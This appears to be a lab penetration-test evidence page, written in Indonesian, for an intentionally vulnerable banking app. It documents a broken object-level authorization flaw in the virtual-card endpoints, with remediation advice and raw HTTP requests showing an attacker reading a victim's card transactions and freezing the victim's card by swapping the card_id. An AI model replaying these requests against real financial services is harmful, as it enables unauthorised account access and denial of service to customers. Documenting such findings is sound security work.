Skenario 06 / 26FAIL

Broken Object Level Authorization - Virtual Cards - Card Operations

Lingkungan lab — bukan sistem produksi

Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.

vuln-bank/Evidence/[FAIL] Broken Object Level Authorization - Virtual Cards - Card Operations

01 — Catatan

Catatan pengujian

Kerentanan

[FAIL] Broken Object Level Authorization - Virtual Cards - Card Operations

Deskripsi

Endpoint kartu virtual menerima card_id dari path URL dan mengoperasikannya tanpa memverifikasi bahwa kartu tersebut milik pemegang token. Identifier kartu berupa bilangan bulat berurutan sehingga mudah dienumerasi.

Dampak

Confidentiality + Integrity (High): pengguna terautentikasi mana pun dapat membaca riwayat transaksi kartu virtual milik nasabah lain dan mengubah statusnya. Pada pengujian, penyerang membekukan kartu milik korban, yang merupakan penolakan layanan terhadap instrumen pembayaran korban. Endpoint sejenis pada modul yang sama juga mengizinkan perubahan limit dan pengisian dana.

CWE

CWE-639: Authorization Bypass Through User-Controlled Key

OWASP

A01:2021 - Broken Access Control

Skenario

Normal: penyerang mengakses riwayat transaksi kartunya sendiri -> berhasil. Eksploitasi: penyerang mengganti card_id menjadi milik korban -> HTTP 200, riwayat kartu korban terbaca. Dampak: penyerang memanggil toggle-freeze pada kartu korban -> kartu korban berhasil dibekukan dan status is_frozen true terlihat dari sesi korban.

Endpoint

GET http://127.0.0.1:5001/api/virtual-cards/<card_id>/transactions POST http://127.0.0.1:5001/api/virtual-cards/<card_id>/toggle-freeze

Fitur terdampak

Kartu virtual (riwayat transaksi, pembekuan kartu, limit, top-up)

Rekomendasi perbaikan

- Verifikasi kepemilikan objek pada setiap permintaan: cocokkan card_id dengan user_id dari token sebelum membaca atau mengubah. - Terapkan pemeriksaan otorisasi terpusat pada seluruh endpoint kartu, bukan per handler. - Gunakan UUID acak sebagai identifier kartu agar tidak dapat dienumerasi. - Catat dan pantau percobaan akses lintas objek.

Bukti konsep

1) (Screenshot 1) NORMAL: penyerang membaca riwayat kartu miliknya sendiri -> berhasil. 2) (Screenshot 2) EKSPLOITASI: penyerang membaca riwayat kartu milik korban -> HTTP 200, data korban terekspos. 3) (Screenshot 3) EKSPLOITASI: penyerang membekukan kartu korban -> Card frozen successfully. 4) (Screenshot 4) DAMPAK CIA: dari sesi korban, kartu miliknya tampak is_frozen true akibat aksi penyerang.
Lihat catatan sumber (bahasa Indonesia)
Vulnerability:
[FAIL] Broken Object Level Authorization - Virtual Cards - Card Operations

Description:
Endpoint kartu virtual menerima card_id dari path URL dan mengoperasikannya tanpa memverifikasi bahwa kartu tersebut milik pemegang token. Identifier kartu berupa bilangan bulat berurutan sehingga mudah dienumerasi.

Impact:
Confidentiality + Integrity (High): pengguna terautentikasi mana pun dapat membaca riwayat transaksi kartu virtual milik nasabah lain dan mengubah statusnya. Pada pengujian, penyerang membekukan kartu milik korban, yang merupakan penolakan layanan terhadap instrumen pembayaran korban. Endpoint sejenis pada modul yang sama juga mengizinkan perubahan limit dan pengisian dana.

CWE:
CWE-639: Authorization Bypass Through User-Controlled Key

OWASP:
A01:2021 - Broken Access Control

Scenario:
Normal: penyerang mengakses riwayat transaksi kartunya sendiri -> berhasil. Eksploitasi: penyerang mengganti card_id menjadi milik korban -> HTTP 200, riwayat kartu korban terbaca. Dampak: penyerang memanggil toggle-freeze pada kartu korban -> kartu korban berhasil dibekukan dan status is_frozen true terlihat dari sesi korban.

Endpoint:
GET  http://127.0.0.1:5001/api/virtual-cards/<card_id>/transactions
POST http://127.0.0.1:5001/api/virtual-cards/<card_id>/toggle-freeze

Affected Feature:
Kartu virtual (riwayat transaksi, pembekuan kartu, limit, top-up)

Remediation:
- Verifikasi kepemilikan objek pada setiap permintaan: cocokkan card_id dengan user_id dari token sebelum membaca atau mengubah.
- Terapkan pemeriksaan otorisasi terpusat pada seluruh endpoint kartu, bukan per handler.
- Gunakan UUID acak sebagai identifier kartu agar tidak dapat dienumerasi.
- Catat dan pantau percobaan akses lintas objek.

POC:
1) (Screenshot 1) NORMAL: penyerang membaca riwayat kartu miliknya sendiri -> berhasil.
2) (Screenshot 2) EKSPLOITASI: penyerang membaca riwayat kartu milik korban -> HTTP 200, data korban terekspos.
3) (Screenshot 3) EKSPLOITASI: penyerang membekukan kartu korban -> Card frozen successfully.
4) (Screenshot 4) DAMPAK CIA: dari sesi korban, kartu miliknya tampak is_frozen true akibat aksi penyerang.

02 — Tangkapan layar

Tangkapan layar (4)

01 / 1
02 / 2
03 / 3
04 / 4

03 — Request dan response

Rekaman HTTP

Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.

REKAMAN 01 / 1
HTTP request
GET /api/virtual-cards/2/transactions HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 49
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:06 GMT

{
  "status": "success",
  "transactions": []
}
REKAMAN 02 / 2
HTTP request
GET /api/virtual-cards/3/transactions HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 49
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:07 GMT

{
  "status": "success",
  "transactions": []
}
REKAMAN 03 / 3
HTTP request
POST /api/virtual-cards/3/toggle-freeze HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 0

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 68
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:08 GMT

{
  "message": "Card frozen successfully",
  "status": "success"
}
REKAMAN 04 / 4
HTTP request
GET /api/virtual-cards HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 433
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:09 GMT

{
  "cards": [
    {
      "balance": 0.0,
      "card_number": "3706522538531775",
      "card_type": "standard",
      "created_at": "2026-09-30 03:02:06.091644",
      "currency": "USD",
      "currency_symbol": "$",
      "cvv": "948",
      "expiry_date": "09/27",
      "id": 3,
      "is_active": true,
      "is_frozen": true,
      "last_used_at": null,
      "limit": 1000.0
    }
  ],
  "status": "success"
}